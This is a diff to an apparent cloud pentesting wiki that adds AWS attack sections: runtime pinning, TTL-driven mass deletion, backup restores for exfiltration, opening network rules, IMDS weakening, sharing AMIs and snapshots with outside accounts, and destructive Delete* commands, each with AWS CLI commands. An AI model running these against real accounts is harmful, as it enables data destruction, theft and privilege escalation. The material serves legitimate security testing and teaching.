update

src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md

@@ -87,6 +87,54 @@ This is stealthier than exposing a Function URL and doesn’t change the primary
 aws-lambda-alias-version-policy-backdoor.md
 {{#endref}}
 
+### Freezing AWS Lambda Runtimes
+
+An attacker who has lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig, and lambda:GetRuntimeManagementConfig permissions can modify a function’s runtime management configuration. This attack is especially effective when the goal is to keep a Lambda function on a vulnerable runtime version or to preserve compatibility with malicious layers that might be incompatible with newer runtimes.
+
+The attacker modifies the runtime management configuration to pin the runtime version:
+
+```bash
+# Invoke the function to generate runtime logs
+aws lambda invoke \
+    --function-name $TARGET_FN \
+    --payload '{}' \
+    --region us-east-1 /tmp/ping.json
+
+sleep 5
+
+# Freeze automatic runtime updates on function update
+aws lambda put-runtime-management-config \
+    --function-name $TARGET_FN \
+    --update-runtime-on FunctionUpdate \
+    --region us-east-1
+```
+
+Verify the applied configuration:
+```bash
+aws lambda get-runtime-management-config \
+    --function-name $TARGET_FN \
+    --region us-east-1
+```
+
+Optional: Pin to a specific runtime version
+```bash
+# Extract Runtime Version ARN from INIT_START logs
+RUNTIME_ARN=$(aws logs filter-log-events \
+    --log-group-name /aws/lambda/$TARGET_FN \
+    --filter-pattern "INIT_START" \
+    --query 'events[0].message' \
+    --output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4)
+```
+
+Pin to a specific runtime version:
+
+```bash
+aws lambda put-runtime-management-config \
+    --function-name $TARGET_FN \
+    --update-runtime-on Manual \
+    --runtime-version-arn $RUNTIME_ARN \
+    --region us-east-1
+```
 
 {{#include ../../../../banners/hacktricks-training.md}}
 

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md

@@ -588,6 +588,51 @@ aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletio
 aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
 ```
 
+### `dynamodb:UpdateTimeToLive`
+
+An attacker with the dynamodb:UpdateTimeToLive permission can change a table’s TTL (time-to-live) configuration — enabling or disabling TTL. When TTL is enabled, individual items that contain the configured TTL attribute will be automatically deleted once their expiration time is reached. The TTL value is just another attribute on each item; items without that attribute are not affected by TTL-based deletion.
+
+If items do not already contain the TTL attribute, the attacker would also need a permission that updates items (for example dynamodb:UpdateItem) to add the TTL attribute and trigger mass deletions.
+
+First enable TTL on the table, specifying the attribute name to use for expiration:
+
+```bash
+aws dynamodb update-time-to-live \
+  --table-name <TABLE_NAME> \
+  --time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"
+```
+
+Then update items to add the TTL attribute (epoch seconds) so they will expire and be removed:
+
+```bash
+aws dynamodb update-item \
+  --table-name <TABLE_NAME> \
+  --key '<PRIMARY_KEY_JSON>' \
+  --update-expression "SET <TTL_ATTRIBUTE_NAME> = :t" \
+  --expression-attribute-values '{":t":{"N":"<EPOCH_SECONDS_VALUE>"}}'
+```
+
+### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime`
+
+An attacker with dynamodb:RestoreTableFromAwsBackup or dynamodb:RestoreTableToPointInTime permissions can create new tables restored from backups or from point-in-time recovery (PITR) without overwriting the original table. The restored table contains a full image of the data at the selected point, so the attacker can use it to exfiltrate historical information or obtain a complete dump of the database’s past state.
+
+Restore a DynamoDB table from an on-demand backup:
+
+```bash
+aws dynamodb restore-table-from-backup \
+  --target-table-name <NEW_TABLE_NAME> \
+  --backup-arn <BACKUP_ARN>
+```
+
+Restore a DynamoDB table to a point in time (create a new table with the restored state):
+
+```bash
+aws dynamodb restore-table-to-point-in-time \
+  --source-table-name <SOURCE_TABLE_NAME> \
+  --target-table-name <NEW_TABLE_NAME> \
+  --use-latest-restorable-time
+````
+
 </details>
 
 **Potential Impact:** Continuous, near real-time exfiltration of table changes to an attacker-controlled Kinesis stream without direct read operations on the table.

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md

@@ -114,6 +114,36 @@ Create gateway or interface VPC endpoints to regain outbound access from isolate
 aws-vpc-endpoint-egress-bypass.md
 {{#endref}}
 
+### `ec2:AuthorizeSecurityGroupIngress`
+
+An attacker with the ec2:AuthorizeSecurityGroupIngress permission can add inbound rules to security groups (for example, allowing tcp:80 from 0.0.0.0/0), thereby exposing internal services to the public Internet or to otherwise unauthorized networks.
+
+```bash
+aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
+```
+
+# `ec2:ReplaceNetworkAclEntry`
+An attacker with ec2:ReplaceNetworkAclEntry (or similar) permissions can modify a subnet’s Network ACLs (NACLs) to make them very permissive — for example allowing 0.0.0.0/0 on critical ports — exposing the entire subnet range to the Internet or to unauthorized network segments. Unlike Security Groups, which are applied per-instance, NACLs are applied at the subnet level, so changing a restrictive NACL can have a much larger blast radius by enabling access to many more hosts.
+
+```bash
+aws ec2 replace-network-acl-entry \
+  --network-acl-id <ACL_ID> \
+  --rule-number 100 \
+  --protocol <PROTOCOL> \
+  --rule-action allow \
+  --egress <true|false> \
+  --cidr-block 0.0.0.0/0
+```
+
+### `ec2:Delete*`
+
+An attacker with ec2:Delete* and iam:Remove* permissions can delete critical infrastructure resources and configurations — for example key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. This can cause immediate service disruption, data loss, and loss of forensic evidence.
+
+One example is deleting a security group:
+
+aws ec2 delete-security-group \
+  --group-id <SECURITY_GROUP_ID>
+
 ### VPC Flow Logs Cross-Account Exfiltration
 
 Point VPC Flow Logs to an attacker-controlled S3 bucket to continuously collect network metadata (source/destination, ports) outside the victim account for long-term reconnaissance.

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md

@@ -181,6 +181,36 @@ aws iam update-server-certificate \
   --new-path /prod/
 ```
 
+### `iam:Delete*`
+
+The IAM wildcard iam:Delete* grants the ability to remove many kinds of IAM resources—users, roles, groups, policies, keys, certificates, MFA devices, policy versions, etc. —and therefore has a very high blast radius: an actor granted iam:Delete* can permanently destroy identities, credentials, policies and related artifacts, remove audit/evidence, and cause service or operational outages. Some examples are
+
+```bash
+# Delete a user
+aws iam delete-user --user-name <Username>
+
+# Delete a role
+aws iam delete-role --role-name <RoleName>
+
+# Delete a managed policy
+aws iam delete-policy --policy-arn arn:aws:iam::<ACCOUNT_ID>:policy/<PolicyName>
+```
+
+### `iam:EnableMFADevice`
+
+An actor granted the iam:EnableMFADevice action can register an MFA device on an identity in the account, provided the user did not already have one enabled. This can be used to interfere with a user’s access: once an attacker registers an MFA device, the legitimate user may be prevented from signing in because they do not control the attacker-registered MFA.
+
+This denial-of-access attack only works if the user had no MFA registered; if the attacker registers an MFA device for that user, the legitimate user will be locked out of any flows that require that new MFA. If the user already has one or more MFA devices under their control, adding an attacker-controlled MFA does not block the legitimate user — they can continue to authenticate using any MFA they already have.
+
+To enable (register) an MFA device for a user an attacker could run:
+```bash
+aws iam enable-mfa-device \
+  --user-name <Username> \
+  --serial-number arn:aws:iam::111122223333:mfa/alice \
+  --authentication-code1 123456 \
+  --authentication-code2 789012
+```
+
 ## References
 
 - [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md

@@ -16,6 +16,14 @@ Lambda uses environment variables to inject credentials at runtime. If you can g
 
 By default, these will have access to write to a cloudwatch log group (the name of which is stored in `AWS_LAMBDA_LOG_GROUP_NAME`), as well as to create arbitrary log groups, however lambda functions frequently have more permissions assigned based on their intended use.
 
+### `lambda:Delete*`
+An attacker granted lambda:Delete* can delete Lambda functions, versions/aliases, layers, event source mappings and other associated configurations.
+
+```bash
+aws lambda delete-function \
+  --function-name <LAMBDA_NAME>
+```
+
 ### Steal Others Lambda URL Requests
 
 If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them.

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md

@@ -40,6 +40,48 @@ aws rds modify-db-instance \
 # Connect to the new DB after a few mins
 ```
 
+### `rds:StopDBCluster` & `rds:StopDBInstance`
+An attacker with rds:StopDBCluster or rds:StopDBInstance can force an immediate stop of an RDS instance or an entire cluster, causing database unavailability, broken connections, and interruption of processes that depend on the database.
+
+To stop a single DB instance (example):
+
+```bash
+aws rds stop-db-instance \
+  --db-instance-identifier <DB_INSTANCE_IDENTIFIER>
+```
+
+To stop an entire DB cluster (example):
+
+```bash
+aws rds stop-db-cluster \
+  --db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
+```
+
+### `rds:Delete*`
+
+An attacker granted rds:Delete* can remove RDS resources, deleting DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups and related artifacts, causing immediate service outage, data loss, destruction of recovery points and loss of forensic evidence.
+
+```bash
+# Delete a DB instance (creates a final snapshot unless you skip it)
+aws rds delete-db-instance \
+  --db-instance-identifier <DB_INSTANCE_ID> \
+  --final-db-snapshot-identifier <FINAL_SNAPSHOT_ID>     # omit or replace with --skip-final-snapshot to avoid snapshot
+
+# Delete a DB instance and skip final snapshot (more destructive)
+aws rds delete-db-instance \
+  --db-instance-identifier <DB_INSTANCE_ID> \
+  --skip-final-snapshot
+
+# Delete a manual DB snapshot
+aws rds delete-db-snapshot \
+  --db-snapshot-identifier <DB_SNAPSHOT_ID>
+
+# Delete an Aurora DB cluster (creates a final snapshot unless you skip)
+aws rds delete-db-cluster \
+  --db-cluster-identifier <DB_CLUSTER_ID> \
+  --final-db-snapshot-identifier <FINAL_CLUSTER_SNAPSHOT_ID>   # or use --skip-final-snapshot
+```
+
 ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
 
 An attacker with these permissions could **create an snapshot of a DB** and make it **publicly** **available**. Then, he could just create in his own account a DB from that snapshot.

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md

@@ -33,6 +33,43 @@ To add further pressure, the attacker schedules the deletion of the KMS key used
 
 Finally, the attacker could upload a final file, usually named "ransom-note.txt," which contains instructions for the target on how to retrieve their files. This file is uploaded without encryption, likely to catch the target's attention and make them aware of the ransomware attack.
 
+### `s3:RestoreObject`
+
+An attacker with the s3:RestoreObject permission can reactivate objects archived in Glacier or Deep Archive, making them temporarily accessible. This enables recovery and exfiltration of historically archived data (backups, snapshots, logs, certifications, old secrets) that would normally be out of reach. If the attacker combines this permission with read permissions (e.g., s3:GetObject), they can obtain full copies of sensitive data.
+
+```bash
+aws s3api restore-object \
+  --bucket <BUCKET_NAME> \
+  --key <OBJECT_KEY> \
+  --restore-request '{
+    "Days": <NUMBER_OF_DAYS>,
+    "GlacierJobParameters": { "Tier": "Standard" }
+  }'
+```
+
+### `s3:Delete*`
+
+An attacker with the s3:Delete* permission can delete objects, versions, and entire buckets, disrupt backups, and cause immediate and irreversible data loss, destruction of evidence, and compromise of backup or recovery artifacts.
+
+```bash
+# Delete an object from a bucket
+aws s3api delete-object \
+  --bucket <BUCKET_NAME> \
+  --key <OBJECT_KEY>
+
+# Delete a specific version
+aws s3api delete-object \
+  --bucket <BUCKET_NAME> \
+  --key <OBJECT_KEY> \
+  --version-id <VERSION_ID>
+
+# Delete a bucket
+aws s3api delete-bucket \
+  --bucket <BUCKET_NAME>
+```
+
+
+
 **For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
 
 {{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md

@@ -328,3 +328,31 @@ aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
 ```
 
 Potential Impact: Theft of instance profile credentials via SSRF leading to privilege escalation and lateral movement with the EC2 role permissions.
+
+### `ec2:ModifyInstanceMetadataOptions`
+
+An attacker with the ec2:ModifyInstanceMetadataOptions permission can weaken Instance Metadata Service (IMDS) protections — for example by forcing IMDSv1 (making HttpTokens not required) or increasing HttpPutResponseHopLimit — thereby easing exfiltration of temporary credentials. The most relevant risk vector is raising HttpPutResponseHopLimit: by increasing that hop limit (TTL), the 169.254.169.254 endpoint stops being strictly limited to the VM’s network namespace and can become reachable by other processes/containers, enabling credential theft.
+
+```bash
+aws ec2 modify-instance-metadata-options \
+  --instance-id <INSTANCE_ID> \
+  --http-tokens optional \
+  --http-endpoint enabled \
+  --http-put-response-hop-limit 2
+```
+
+### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute`
+
+An attacker with the ec2:ModifyImageAttribute and ec2:ModifySnapshotAttribute permissions can share AMIs or snapshots with other AWS accounts (or even make them public), exposing images or volumes that may contain sensitive data such as configurations, credentials, certificates, or backups. By modifying an AMI’s launch permissions or a snapshot’s create-volume permissions, the attacker allows third parties to launch instances or mount disks from those resources and access their contents.
+
+To share an AMI with another account:
+
+```bash
+aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
+```
+
+To share an EBS snapshot with another account:
+
+```bash
+aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
+```

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md

@@ -270,6 +270,37 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
 
 This permissions allows an attacker to update the permissions boundary of a user, potentially escalating their privileges by allowing them to perform actions that are normally restricted by their existing permissions.
 
+```bash
+aws iam put-user-permissions-boundary \
+  --user-name <nombre_usuario> \
+ --permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>
+
+Un ejemplo de una política que no aplica ninguna restricción es:
+
+
+{
+  "Version": "2012-10-17",
+  "Statement": [
+    {
+      "Sid": "BoundaryAllowAll",
+      "Effect": "Allow",
+      "Action": "*",
+      "Resource": "*"
+    }
+  ]
+}
+```
+
+### `iam:PutRolePermissionsBoundary`
+
+An actor with iam:PutRolePermissionsBoundary can set a permissions boundary on an existing role. The risk arises when someone with this permission changes a role’s boundary: they can improperly restrict operations (causing service disruption) or, if they attach a permissive boundary, effectively expand what the role can do and escalate privileges.
+
+```bash
+aws iam put-role-permissions-boundary \
+  --role-name <Role_Name> \
+  --permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
+```
+
 ## References
 
 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md

@@ -193,4 +193,26 @@ aws s3api get-object-acl --bucket <bucekt-name> --key flag
 aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
 ```
 
+### `s3:PutBucketCORS`
+
+An attacker with the s3:PutBucketCORS permission can modify a bucket's CORS (Cross-Origin Resource Sharing) configuration, which controls which web domains may access its endpoints. If they set a permissive policy, any website could make direct requests to the bucket and read responses from a browser.
+
+This means that, potentially, if an authenticated user for a web app hosted from the bucket visits the attacker's website, the attacker could exploit the permissive CORS policy and, depending on the application, access the user's profile data or even hijack the user's account.
+
+```bash
+aws s3api put-bucket-cors \
+  --bucket <BUCKET_NAME> \
+  --cors-configuration '{
+    "CORSRules": [
+      {
+        "AllowedOrigins": ["*"],
+        "AllowedMethods": ["GET", "PUT", "POST"],
+        "AllowedHeaders": ["*"],
+        "ExposeHeaders": ["x-amz-request-id"],
+        "MaxAgeSeconds": 3000
+      }
+    ]
+  }'
+```
+
 {{#include ../../../../banners/hacktricks-training.md}}